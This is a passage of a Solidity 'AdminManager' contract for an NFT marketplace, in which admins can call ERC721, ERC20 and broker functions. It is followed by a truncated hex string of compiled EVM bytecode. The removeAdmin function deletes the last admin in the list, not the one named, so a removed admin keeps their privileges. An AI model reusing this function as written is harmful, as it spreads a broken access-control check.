string erc20IncreaseAllowance;
string erc20DecreaseAllowance;
}
FunctionNames functionNames =
FunctionNames(
"ERC721:approve",
"ERC721:transfer",
"ERC721:burn",
"ERC721:mint",
"ERC721:safeTransferFrom",
"ERC721:transferFrom",
"Broker:putOnSale",
"Broker:buy",
"Broker:bid",
"Broker:collect",
"Broker:updatePrice",
"Broker:putSaleOff",
"Broker:makeAnOffer",
"Broker:accpetOffer",
"Broker:revertOffer",
"Broker:revertAll",
"ERC20:approve",
"ERC20:decreaseApproval",
"ERC20:increaseApproval",
"ERC20:transfer",
"ERC20:transferFrom",
"ERC20:increaseAllowance",
"ERC20:decreaseAllowance"
);
IBrokerV2 broker;
event NFTBurned(
address indexed collection,
uint256 indexed tokenId,
address indexed admin,
uint256 time,
string tokenURI
);
event AdminRemoved(address admin, uint256 time);
event AdminAdded(address admin, uint256 time);
event AdminActionPerformed(
address indexed admin,
address indexed contractAddress,
string indexed functionName,
address collectionAddress,
uint256 tokenId
);
constructor(address _broker) public {
transferOwnership(msg.sender);
broker = IBrokerV2(_broker);
}
/**
* @notice This function is used to check address of admin exist or not in list of admin
* @dev Fuction take address type argument
* @param _sender The account address of _sender or admin
*/
function adminExist(address _sender) public view returns (bool) {
for (uint256 i = 0; i < admins.length; i++) {
if (_sender == admins[i]) {
return true;
}
}
return false;
}
modifier adminOnly() {
require(adminExist(msg.sender), "AdminManager: admin only.");
_;
}
modifier adminAndOwnerOnly() {
require(
adminExist(msg.sender) || isOwner(),
"AdminManager: admin and owner only."
);
_;
}
/**
* @notice This function is used to add address of admins
* @dev Fuction take address type argument
* @param admin The account address of admin
*/
function addAdmin(address admin) public onlyOwner {
if (!adminExist(admin)) {
admins.push(admin);
} else {
revert("admin already in list");
}
emit AdminAdded(admin, block.timestamp);
}
/**
* @notice This function is used to get list of all address of admins
* @dev This Fuction is not take any argument
* @return This Fuction return list of address[]
*/
function getAdmins() public view returns (address[] memory) {
return admins;
}
/**
* @notice This function is used to get list of all address of admins
* @dev This Fuction is not take any argument
* @param admin The account address of admin
*/
function removeAdmin(address admin) public onlyOwner {
for (uint256 i = 0; i < admins.length; i++) {
if (admins[i] == admin) {
admins[admins.length - 1] = admins[i];
admins.pop();
break;
}
}
emit AdminRemoved(admin, block.timestamp);
}
/**
* @notice This function is used to burn the apporved NFTToken to certain admin address which was allowed by super admin the owner of Admin Manager
* @dev This Fuction is take two arguments address of contract and tokenId of NFT
* @param collection tokenId The contract address of NFT contract and tokenId of NFT
*/
function burnNFT(address collection, uint256 tokenId)
public
adminAndOwnerOnly
{
IMintable NFTToken = IMintable(collection);
string memory tokenURI = NFTToken.tokenURI(tokenId);
require(
NFTToken.getApproved(tokenId) == address(this),
"Token not apporove for burn"
);
NFTToken.burn(tokenId);
emit NFTBurned(
collection,
tokenId,
msg.sender,
block.timestamp,
tokenURI
);
}
// NFT methods for admin to manage by this contract URL
function erc721Approve(
address _ERC721Address,
address _to,
uint256 _tokenId
) public adminAndOwnerOnly {
IMintable erc721 = IMintable(_ERC721Address);
emit AdminActionPerformed(
msg.sender,
_ERC721Address,
functionNames.approve,
_ERC721Address,
_tokenId
);
return erc721.approve(_to, _tokenId);
}
function erc721Transfer(
address _ERC721Address,
address _to,
uint256 _tokenId
) public adminAndOwnerOnly {
IMintable erc721 = IMintable(_ERC721Address);
emit AdminActionPerformed(
msg.sender,
_ERC721Address,
functionNames.transfer,
_ERC721Address,
_tokenId
);
return erc721.transfer(_to, _tokenId);
}
function erc721Burn(address _ERC721Address, uint256 tokenId)
public
adminAndOwnerOnly
{
IMintable erc721 = IMintable(_ERC721Address);
emit AdminActionPerformed(
msg.sender,
_ERC721Address,
functionNames.burn,
_ERC721Address,
tokenId
);
return erc721.burn(tokenId);
}
function erc721Mint(
address _ERC721Address,
string memory tokenURI,
uint256 _royality
) public adminAndOwnerOnly {
IMintable erc721 = IMintable(_ERC721Address);
emit AdminActionPerformed(
msg.sender,
_ERC721Address,
functionNames.mint,
_ERC721Address,
0
);
return erc721.mint(tokenURI, _royality);
}
function erc721SafeTransferFrom(
address _ERC721Address,
address from,
address to,
uint256 tokenId
) public adminAndOwnerOnly {
IMintable erc721 = IMintable(_ERC721Address);
emit AdminActionPerformed(
msg.sender,
_ERC721Address,
functionNames.safeTransferFrom,
_ERC721Address,
tokenId
);
return erc721.safeTransferFrom(from, to, tokenId);
}
function erc721SafeTransferFrom(
address _ERC721Address,
address from,
address to,
uint256 tokenId,
bytes memory _data
) public adminAndOwnerOnly {
IMintable erc721 = IMintable(_ERC721Address);
emit AdminActionPerformed(
msg.sender,
_ERC721Address,
functionNames.safeTransferFrom,
_ERC721Address,
tokenId
);
return erc721.safeTransferFrom(from, to, tokenId, _data);
}
function erc721TransferFrom(
address _ERC721Address,
address from,
address to,
uint256 tokenId
) public adminAndOwnerOnly {
IMintable erc721 = IMintable(_ERC721Address);
emit AdminActionPerformed(
msg.sender,
_ERC721Address,
functionNames.transferFrom,
_ERC721Address,
tokenId
);
return erc721.transferFrom(from, to, tokenId);
}
// Broker functions
function bid(
uint256 tokenID,
address _mintableToken,
uint256 amount
) public payable adminAndOwnerOnly {
broker.bid.value(msg.value)(tokenID, _mintableToken, amount);
emit AdminActionPerformed(
msg.sender,
address(broker),
functionNames.bid,
_mintableToken,
tokenID
);
}
function collect(uint256 tokenID, address _mintableToken)
public
adminAndOwnerOnly
{
broker.collect(tokenID, _mintableToken);
emit AdminActionPerformed(
msg.sender,
address(broker),
functionNames.collect,
_mintableToken,
tokenID
);
}
function buy(uint256 tokenID, address _mintableToken)
public
payable
adminAndOwnerOnly
{
broker.buy.value(msg.value)(tokenID, _mintableToken);
emit AdminActionPerformed(
msg.sender,
address(broker),
functionNames.buy,
_mintableToken,
tokenID
);
}
function putOnSale(
uint256 _tokenID,
uint256 _startingPrice,
uint256 _auctionType,
uint256 _buyPrice,
uint256 _startingTime,
uint256 _closingTime,
address _mintableToken,
address _erc20Token
) public adminAndOwnerOnly {
broker.putOnSale(
_tokenID,
_startingPrice,
_auctionType,
_buyPrice,
_startingTime,
_closingTime,
_mintableToken,
_erc20Token
);
emit AdminActionPerformed(
msg.sender,
address(broker),
functionNames.putOnSale,
_mintableToken,
_tokenID
);
}
function updatePrice(
uint256 tokenID,
address _mintableToken,
uint256 _newPrice,
address _erc20Token
) public adminAndOwnerOnly {
broker.updatePrice(tokenID, _mintableToken, _newPrice, _erc20Token);
emit AdminActionPerformed(
msg.sender,
address(broker),
functionNames.updatePrice,
_mintableToken,
tokenID
);
}
function putSaleOff(uint256 tokenID, address _mintableToken)
public
adminAndOwnerOnly
{
broker.putSaleOff(tokenID, _mintableToken);
emit AdminActionPerformed(
msg.sender,
address(broker),
functionNames.putSaleOff,
_mintableToken,
tokenID
);
}
function makeAnOffer(
uint256 tokenID,
address _mintableToken,
address _erc20Token,
uint256 amount
) public payable adminAndOwnerOnly {
broker.makeAnOffer(tokenID, _mintableToken, _erc20Token, amount);
emit AdminActionPerformed(
msg.sender,
address(broker),
functionNames.makeAnOffer,
_mintableToken,
tokenID
);
}
function accpetOffer(
uint256 tokenID,
address _mintableToken,
address _erc20Token
) public payable adminAndOwnerOnly {
broker.accpetOffer(tokenID, _mintableToken, _erc20Token);
emit AdminActionPerformed(
msg.sender,
address(broker),
functionNames.accpetOffer,
_mintableToken,
tokenID
);
}
function revertOffer(
uint256 tokenID,
address _mintableToken,
address _erc20Token
) public payable adminAndOwnerOnly {
broker.revertOffer(_mintableToken,tokenID, _erc20Token);
emit AdminActionPerformed(
msg.sender,
address(broker),
functionNames.revertOffer,
_mintableToken,
tokenID
);
}
function revertAll(uint256 tokenID, address _mintableToken)
public
adminAndOwnerOnly
{
broker.revertAll(_mintableToken,tokenID);
emit AdminActionPerformed(
msg.sender,
address(broker),
functionNames.revertAll,
_mintableToken,
tokenID
);
}
// ERC20 methods
function erc20Approve(
address _erc20,
address spender,
uint256 value
) public adminAndOwnerOnly {
IERC20 erc20 = IERC20(_erc20);
erc20.approve(spender, value);
emit AdminActionPerformed(
msg.sender,
_erc20,
functionNames.erc20Approve,
spender,
value
);
}
function erc20DecreaseApproval(
address _erc20,
address _spender,
uint256 _subtractedValue
) public adminAndOwnerOnly {
IERC20 erc20 = IERC20(_erc20);
erc20.decreaseApproval(_spender, _subtractedValue);
emit AdminActionPerformed(
msg.sender,
_erc20,
functionNames.erc20DecreaseAllowance,
_spender,
_subtractedValue
);
}
function erc20IncreaseApproval(
address _erc20,
address spender,
uint256 addedValue
) public adminAndOwnerOnly {
IERC20 erc20 = IERC20(_erc20);
erc20.increaseApproval(spender, addedValue);
emit AdminActionPerformed(
msg.sender,
_erc20,
functionNames.erc20IncreaseApproval,
spender,
addedValue
);
}
function erc20Transfer(
address _erc20,
address to,
uint256 value
) public adminAndOwnerOnly {
IERC20 erc20 = IERC20(_erc20);
erc20.transfer(to, value);
emit AdminActionPerformed(
msg.sender,
_erc20,
functionNames.erc20Transfer,
to,
value
);
}
function erc20TransferFrom(
address _erc20,
address from,
address to,
uint256 value
) public adminAndOwnerOnly {
IERC20 erc20 = IERC20(_erc20);
erc20.transferFrom(from, to, value);
emit AdminActionPerformed(
msg.sender,
_erc20,
functionNames.erc20TransferFrom,
to,
value
);
}
function erc20IncreaseAllowance(
address _erc20,
address spender,
uint256 addedValue
) public adminAndOwnerOnly {
IERC20 erc20 = IERC20(_erc20);
erc20.increaseAllowance(spender, addedValue);
emit AdminActionPerformed(
msg.sender,
_erc20,
functionNames.erc20IncreaseAllowance,
spender,
addedValue
);
}
function erc20DecreaseAllowance(
address _erc20,
address spender,
uint256 subtractedValue
) public adminAndOwnerOnly {
IERC20 erc20 = IERC20(_erc20);
erc20.decreaseAllowance(spender, subtractedValue);
emit AdminActionPerformed(
msg.sender,
_erc20,
functionNames.erc20DecreaseAllowance,
spender,
subtractedValue
);
}
// Fallback function
function() external payable {}
function withdraw() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function withdrawERC20(address _erc20Token) public onlyOwner {
IERC20 erc20Token = IERC20(_erc20Token);
erc20Token.transfer(msg.sender, erc20Token.balanceOf(address(this)));
}
}
|
0x60806040526004361061021a5760003560e01c8063640cf87311610123578063ace561a8116100ab578063f2fde38b1161006f578063f2fde38b14610ace578063f4f3b20014610b01578063fba08d4514610b34578063fddea90014610b67578063ff8edbdb14610c2a5761021a565b8063ace561a81461099a578063b6011b4c146109dd578063c0f4ed3114610a20578063c347f69b14610a52578063e7ab44b414610a955761021a565b80638450ebe4116100f25780638450ebe4146108975780638d3c100a146108e05780638da5cb5b146109195780638f32d59b1461092e5780639dc6b78d146109575761021a565b8063640cf873146107c35780637048027514610823578063715018a6146108565780637deb60251461086b5761021a565b80633169b515116101a657806347fcf0181161017557806347fcf018146105fb578063485f952e14610634578063488b0f7d1461066d5780634a0aafda1461074657806354bfdbeb1461078f5761021a565b80633169b5151461050257806331ae450b1461053e5780633790767d146105a35780633ccfd60b146105e65761021a565b80631785f53c116101ed5780631785f53c146103dc578063179443f31461040f57806317c48a701461044857806318fa06531461047c5780631afffec0146104bf5761021a565b80630a1b0b911461021c5780630c82ea1a1461026557806314bfd6d0146102a8578063150b7a02146102ee575b005b34801561022857600080fd5b5061021a6004803603608081101561023f57600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135610c73565b34801561027157600080fd5b5061021a6004803603606081101561028857600080fd5b506001600160a01b03813581169160208101359091169060400135610de0565b3480156102b457600080fd5b506102d2600480360360208110156102cb57600080fd5b5035610f44565b604080516001600160a01b039092168252519081900360200190f35b3480156102fa57600080fd5b506103bf6004803603608081101561031157600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561034b57600080fd5b82018360208201111561035d57600080fd5b803590602001918460018302840111600160201b8311171561037e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610f6b945050505050565b604080516001600160e01b03199092168252519081900360200190f35b3480156103e857600080fd5b5061021a600480360360208110156103ff57600080fd5b50356001600160a01b0316610f7b565b34801561041b57600080fd5b5061021a6004803603604081101561043257600080fd5b50803590602001356001600160a01b03166110e7565b61021a6004803603606081101561045e57600080fd5b508035906001600160a01b036020820135811691604001351661124e565b34801561048857600080fd5b5061021a6004803603606081101561049f57600080fd5b506001600160a01b038135811691602081013590911690604001356113be565b3480156104cb57600080fd5b5061021a600480360360608110156104e257600080fd5b506001600160a01b03813581169160208101359091169060400135611530565b61021a6004803603608081101561051857600080fd5b508035906001600160a01b0360208201358116916040810135909116906060013561162a565b34801561054a57600080fd5b506105536117a2565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561058f578181015183820152602001610577565b505050509050019250505060405180910390f35b3480156105af57600080fd5b5061021a600480360360608110156105c657600080fd5b506001600160a01b03813581169160208101359091169060400135611804565b3480156105f257600080fd5b5061021a6118fe565b34801561060757600080fd5b5061021a6004803603604081101561061e57600080fd5b506001600160a01b038135169060200135611974565b34801561064057600080fd5b5061021a6004803603604081101561065757600080fd5b506001600160a01b038135169060200135611ce8565b34801561067957600080fd5b5061021a600480360360a081101561069057600080fd5b6001600160a01b03823581169260208101358216926040820135909216916060820135919081019060a081016080820135600160201b8111156106d257600080fd5b8201836020820111156106e457600080fd5b803590602001918460018302840111600160201b8311171561070557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550611e41945050505050565b34801561075257600080fd5b5061021a6004803603608081101561076957600080fd5b506001600160a01b03813581169160208101358216916040820135169060600135612022565b61021a600480360360608110156107a557600080fd5b508035906001600160a01b0360208201358116916040013516612192565b3480156107cf57600080fd5b5061021a60048036036101008110156107e757600080fd5b5080359060208101359060408101359060608101359060808101359060a0810135906001600160a01b0360c082013581169160e0013516612297565b34801561082f57600080fd5b5061021a6004803603602081101561084657600080fd5b50356001600160a01b0316612430565b34801561086257600080fd5b5061021a61255e565b61021a6004803603604081101561088157600080fd5b50803590602001356001600160a01b03166125ef565b3480156108a357600080fd5b5061021a600480360360808110156108ba57600080fd5b506001600160a01b038135811691602081013582169160408201351690606001356126f0565b3480156108ec57600080fd5b5061021a6004803603604081101561090357600080fd5b50803590602001356001600160a01b0316612841565b34801561092557600080fd5b506102d261293e565b34801561093a57600080fd5b5061094361294d565b604080519115158252519081900360200190f35b34801561096357600080fd5b5061021a6004803603606081101561097a57600080fd5b506001600160a01b03813581169160208101359091169060400135612971565b3480156109a657600080fd5b5061021a600480360360608110156109bd57600080fd5b506001600160a01b03813581169160208101359091169060400135612a6b565b3480156109e957600080fd5b5061021a60048036036060811015610a0057600080fd5b506001600160a01b03813581169160208101359091169060400135612b65565b61021a60048036036060811015610a3657600080fd5b508035906001600160a01b036020820135169060400135612cbc565b348015610a5e57600080fd5b5061021a60048036036060811015610a7557600080fd5b506001600160a01b03813581169160208101359091169060400135612dc4565b348015610aa157600080fd5b5061021a60048036036040811015610ab857600080fd5b50803590602001356001600160a01b0316612e68565b348015610ada57600080fd5b5061021a60048036036020811015610af157600080fd5b50356001600160a01b0316612f65565b348015610b0d57600080fd5b5061021a60048036036020811015610b2457600080fd5b50356001600160a01b0316612fb5565b348015610b4057600080fd5b5061094360048036036020811015610b5757600080fd5b50356001600160a01b03166130e4565b348015610b7357600080fd5b5061021a60048036036060811015610b8a57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b811115610bb457600080fd5b820183602082011115610bc657600080fd5b803590602001918460018302840111600160201b83111715610be757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061313b915050565b348015610c3657600080fd5b5061021a60048036036080811015610c4d57600080fd5b508035906001600160a01b036020820135811691604081013591606090910135166132e2565b610c7c336130e4565b80610c8a5750610c8a61294d565b610cc55760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b604080516323b872dd60e01b81526001600160a01b038581166004830152848116602483015260448201849052915186928316916323b872dd91606480830192600092919082900301818387803b158015610d1f57600080fd5b505af1158015610d33573d6000803e3d6000fd5b5050505060026014016040518082805460018160011615610100020316600290048015610d975780601f10610d75576101008083540402835291820191610d97565b820191906000526020600020905b815481529060010190602001808311610d83575b5050604080519182900382206001600160a01b0388811684526020840188905282519195508a16935033926000805160206134ff83398151915292908290030190a45050505050565b610de9336130e4565b80610df75750610df761294d565b610e325760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6040805163a457c2d760e01b81526001600160a01b038481166004830152602482018490529151859283169163a457c2d791604480830192600092919082900301818387803b158015610e8457600080fd5b505af1158015610e98573d6000803e3d6000fd5b5050505060026016016040518082805460018160011615610100020316600290048015610efc5780601f10610eda576101008083540402835291820191610efc565b820191906000526020600020905b815481529060010190602001808311610ee8575b5050604080519182900382206001600160a01b0388811684526020840188905282519195508916935033926000805160206134ff83398151915292908290030190a450505050565b60018181548110610f5157fe5b6000918252602090912001546001600160a01b0316905081565b630a85bd0160e11b949350505050565b610f8361294d565b610fc2576040805162461bcd60e51b815260206004820181905260248201526000805160206134df833981519152604482015290519081900360640190fd5b60005b6001548110156110a057816001600160a01b031660018281548110610fe657fe5b6000918252602090912001546001600160a01b03161415611098576001818154811061100e57fe5b600091825260209091200154600180546001600160a01b0390921691600019810190811061103857fe5b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550600180548061107157fe5b600082815260209020810160001990810180546001600160a01b03191690550190556110a0565b600101610fc5565b50604080516001600160a01b038316815242602082015281517fa0726c73cf6ad18ddb855ba65d1ddd4d7fd37d320f4e52f6b154c13d386f5fd9929181900390910190a150565b6110f0336130e4565b806110fe57506110fe61294d565b6111395760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6019546040805163179443f360e01b8152600481018590526001600160a01b0384811660248301529151919092169163179443f391604480830192600092919082900301818387803b15801561118e57600080fd5b505af11580156111a2573d6000803e3d6000fd5b505050506002600b0160405180828054600181600116156101000203166002900480156112065780601f106111e4576101008083540402835291820191611206565b820191906000526020600020905b8154815290600101906020018083116111f2575b5050604080519182900382206019546001600160a01b03878116855260208501899052835192965016935033926000805160206134ff83398151915292908290030190a45050565b611257336130e4565b80611265575061126561294d565b6112a05760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b601954604080516304da9a8960e21b81526001600160a01b0385811660048301526024820187905284811660448301529151919092169163136a6a2491606480830192600092919082900301818387803b1580156112fd57600080fd5b505af1158015611311573d6000803e3d6000fd5b505050506002600e0160405180828054600181600116156101000203166002900480156113755780601f10611353576101008083540402835291820191611375565b820191906000526020600020905b815481529060010190602001808311611361575b5050604080519182900382206019546001600160a01b038881168552602085018a9052835192965016935033926000805160206134ff83398151915292908290030190a4505050565b6113c7336130e4565b806113d557506113d561294d565b6114105760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6040516002805485929081908390600019610100600183161502011681900480156114725780601f10611450576101008083540402835291820191611472565b820191906000526020600020905b81548152906001019060200180831161145e575b5050604080519182900382206001600160a01b038916808452602084018890528251919550935033926000805160206134ff83398151915292908290030190a4806001600160a01b031663095ea7b384846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561151257600080fd5b505af1158015611526573d6000803e3d6000fd5b5050505050505050565b611539336130e4565b80611547575061154761294d565b6115825760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6040805163d73dd62360e01b81526001600160a01b038481166004830152602482018490529151859283169163d73dd62391604480830192600092919082900301818387803b1580156115d457600080fd5b505af11580156115e8573d6000803e3d6000fd5b5050505060026012016040518082805460018160011615610100020316600290048015610efc5780601f10610eda576101008083540402835291820191610efc565b611633336130e4565b80611641575061164161294d565b61167c5760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b60195460408051633169b51560e01b8152600481018790526001600160a01b03868116602483015285811660448301526064820185905291519190921691633169b51591608480830192600092919082900301818387803b1580156116e057600080fd5b505af11580156116f4573d6000803e3d6000fd5b505050506002600c0160405180828054600181600116156101000203166002900480156117585780601f10611736576101008083540402835291820191611758565b820191906000526020600020905b815481529060010190602001808311611744575b5050604080519182900382206019546001600160a01b038981168552602085018b9052835192965016935033926000805160206134ff83398151915292908290030190a450505050565b606060018054806020026020016040519081016040528092919081815260200182805480156117fa57602002820191906000526020600020905b81546001600160a01b031681526001909101906020018083116117dc575b5050505050905090565b61180d336130e4565b8061181b575061181b61294d565b6118565760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6040805163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529151859283169163a9059cbb91604480830192600092919082900301818387803b1580156118a857600080fd5b505af11580156118bc573d6000803e3d6000fd5b5050505060026013016040518082805460018160011615610100020316600290048015610efc5780601f10610eda576101008083540402835291820191610efc565b61190661294d565b611945576040805162461bcd60e51b815260206004820181905260248201526000805160206134df833981519152604482015290519081900360640190fd5b60405133904780156108fc02916000818181858888f19350505050158015611971573d6000803e3d6000fd5b50565b61197d336130e4565b8061198b575061198b61294d565b6119c65760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b60008290506060816001600160a01b031663c87b56dd846040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611a1357600080fd5b505af1158015611a27573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015611a5057600080fd5b8101908080516040519392919084600160201b821115611a6f57600080fd5b908301906020820185811115611a8457600080fd5b8251600160201b811182820188101715611a9d57600080fd5b82525081516020918201929091019080838360005b83811015611aca578181015183820152602001611ab2565b50505050905090810190601f168015611af75780820380516001836020036101000a031916815260200191505b50604081815263020604bf60e21b8252600482018990525194955030946001600160a01b038816945063081812fc9350602480830193506020928290030181600087803b158015611b4757600080fd5b505af1158015611b5b573d6000803e3d6000fd5b505050506040513d6020811015611b7157600080fd5b50516001600160a01b031614611bce576040805162461bcd60e51b815260206004820152601b60248201527f546f6b656e206e6f74206170706f726f766520666f72206275726e0000000000604482015290519081900360640190fd5b816001600160a01b03166342966c68846040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611c1457600080fd5b505af1158015611c28573d6000803e3d6000fd5b50505050336001600160a01b031683856001600160a01b03167f926b248e45dfdd4c4caec216e73ec503ce2522d3b5646c861d1b074210675d0e42856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611ca7578181015183820152602001611c8f565b50505050905090810190601f168015611cd45780820380516001836020036101000a031916815260200191505b50935050505060405180910390a450505050565b611cf1336130e4565b80611cff5750611cff61294d565b611d3a5760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6000829050600280016040518082805460018160011615610100020316600290048015611d9e5780601f10611d7c576101008083540402835291820191611d9e565b820191906000526020600020905b815481529060010190602001808311611d8a575b5050604080519182900382206001600160a01b038816808452602084018890528251919550935033926000805160206134ff83398151915292908290030190a4806001600160a01b03166342966c68836040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015611e2457600080fd5b505af1158015611e38573d6000803e3d6000fd5b50505050505050565b611e4a336130e4565b80611e585750611e5861294d565b611e935760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b600085905060026004016040518082805460018160011615610100020316600290048015611ef85780601f10611ed6576101008083540402835291820191611ef8565b820191906000526020600020905b815481529060010190602001808311611ee4575b5050604080519182900382206001600160a01b038b16808452602084018990528251919550935033926000805160206134ff83398151915292908290030190a4604051635c46a7ef60e11b81526001600160a01b03868116600483019081528682166024840152604483018690526080606484019081528551608485015285519285169363b88d4fde938a938a938a938a9360a490910190602085019080838360005b83811015611fb3578181015183820152602001611f9b565b50505050905090810190601f168015611fe05780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561200257600080fd5b505af1158015612016573d6000803e3d6000fd5b50505050505050505050565b61202b336130e4565b80612039575061203961294d565b6120745760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6000849050600260040160405180828054600181600116156101000203166002900480156120d95780601f106120b75761010080835404028352918201916120d9565b820191906000526020600020905b8154815290600101906020018083116120c5575b5050604080519182900382206001600160a01b038a16808452602084018890528251919550935033926000805160206134ff83398151915292908290030190a460408051632142170760e11b81526001600160a01b0386811660048301528581166024830152604482018590529151918316916342842e0e9160648082019260009290919082900301818387803b15801561217357600080fd5b505af1158015612187573d6000803e3d6000fd5b505050505050505050565b61219b336130e4565b806121a957506121a961294d565b6121e45760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b601954604080516354bfdbeb60e01b8152600481018690526001600160a01b0385811660248301528481166044830152915191909216916354bfdbeb91606480830192600092919082900301818387803b15801561224157600080fd5b505af1158015612255573d6000803e3d6000fd5b505050506002600d0160405180828054600181600116156101000203166002900480156113755780601f10611353576101008083540402835291820191611375565b6122a0336130e4565b806122ae57506122ae61294d565b6122e95760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6019546040805163640cf87360e01b8152600481018b9052602481018a905260448101899052606481018890526084810187905260a481018690526001600160a01b0385811660c483015284811660e48301529151919092169163640cf8739161010480830192600092919082900301818387803b15801561236a57600080fd5b505af115801561237e573d6000803e3d6000fd5b50505050600260060160405180828054600181600116156101000203166002900480156123e25780601f106123c05761010080835404028352918201916123e2565b820191906000526020600020905b8154815290600101906020018083116123ce575b5050604080519182900382206019546001600160a01b038881168552602085018f9052835192965016935033926000805160206134ff83398151915292908290030190a45050505050505050565b61243861294d565b612477576040805162461bcd60e51b815260206004820181905260248201526000805160206134df833981519152604482015290519081900360640190fd5b612480816130e4565b6124d3576001805480820182556000919091527fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf60180546001600160a01b0319166001600160a01b038316179055612518565b6040805162461bcd60e51b815260206004820152601560248201527418591b5a5b88185b1c9958591e481a5b881b1a5cdd605a1b604482015290519081900360640190fd5b604080516001600160a01b038316815242602082015281517f723c2b747529ca7f5eb53a74808f4a8b9bf264f0fc450fd904900151da74548a929181900390910190a150565b61256661294d565b6125a5576040805162461bcd60e51b815260206004820181905260248201526000805160206134df833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6125f8336130e4565b80612606575061260661294d565b6126415760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b60195460408051637deb602560e01b8152600481018590526001600160a01b03848116602483015291519190921691637deb602591349160448082019260009290919082900301818588803b15801561269957600080fd5b505af11580156126ad573d6000803e3d6000fd5b5050505050600260070160405180828054600181600116156101000203166002900480156112065780601f106111e4576101008083540402835291820191611206565b6126f9336130e4565b80612707575061270761294d565b6127425760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6000849050600260050160405180828054600181600116156101000203166002900480156127a75780601f106127855761010080835404028352918201916127a7565b820191906000526020600020905b815481529060010190602001808311612793575b5050604080519182900382206001600160a01b038a16808452602084018890528251919550935033926000805160206134ff83398151915292908290030190a4604080516323b872dd60e01b81526001600160a01b0386811660048301528581166024830152604482018590529151918316916323b872dd9160648082019260009290919082900301818387803b15801561217357600080fd5b61284a336130e4565b80612858575061285861294d565b6128935760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6019546040805163469e080560e11b8152600481018590526001600160a01b03848116602483015291519190921691638d3c100a91604480830192600092919082900301818387803b1580156128e857600080fd5b505af11580156128fc573d6000803e3d6000fd5b50505050600260090160405180828054600181600116156101000203166002900480156112065780601f106111e4576101008083540402835291820191611206565b6000546001600160a01b031690565b600080546001600160a01b03166129626133f1565b6001600160a01b031614905090565b61297a336130e4565b80612988575061298861294d565b6129c35760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b60408051633950935160e01b81526001600160a01b0384811660048301526024820184905291518592831691633950935191604480830192600092919082900301818387803b158015612a1557600080fd5b505af1158015612a29573d6000803e3d6000fd5b5050505060026015016040518082805460018160011615610100020316600290048015610efc5780601f10610eda576101008083540402835291820191610efc565b612a74336130e4565b80612a825750612a8261294d565b612abd5760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6040805163095ea7b360e01b81526001600160a01b038481166004830152602482018490529151859283169163095ea7b391604480830192600092919082900301818387803b158015612b0f57600080fd5b505af1158015612b23573d6000803e3d6000fd5b5050505060026010016040518082805460018160011615610100020316600290048015610efc5780601f10610eda576101008083540402835291820191610efc565b612b6e336130e4565b80612b7c5750612b7c61294d565b612bb75760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b600083905060026001016040518082805460018160011615610100020316600290048015612c1c5780601f10612bfa576101008083540402835291820191612c1c565b820191906000526020600020905b815481529060010190602001808311612c08575b5050604080519182900382206001600160a01b038916808452602084018890528251919550935033926000805160206134ff83398151915292908290030190a4806001600160a01b031663a9059cbb84846040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b15801561151257600080fd5b612cc5336130e4565b80612cd35750612cd361294d565b612d0e5760405162461bcd60e51b81526004018080602001828103825260238152602001806134bc6023913960400191505060405180910390fd5b6019546040805163c0f4ed3160e01b8152600481018690526001600160a01b038581166024830152604482018590529151919092169163c0f4ed3191349160648082019260009290919082900301818588803b158015612d6d57600080fd5b505af1158015612d81573d6000803e3d6000fd5b5050505050600260080160405180828054600181600116156101000203166002900480156113755780601f10611353576101008083540402835291820191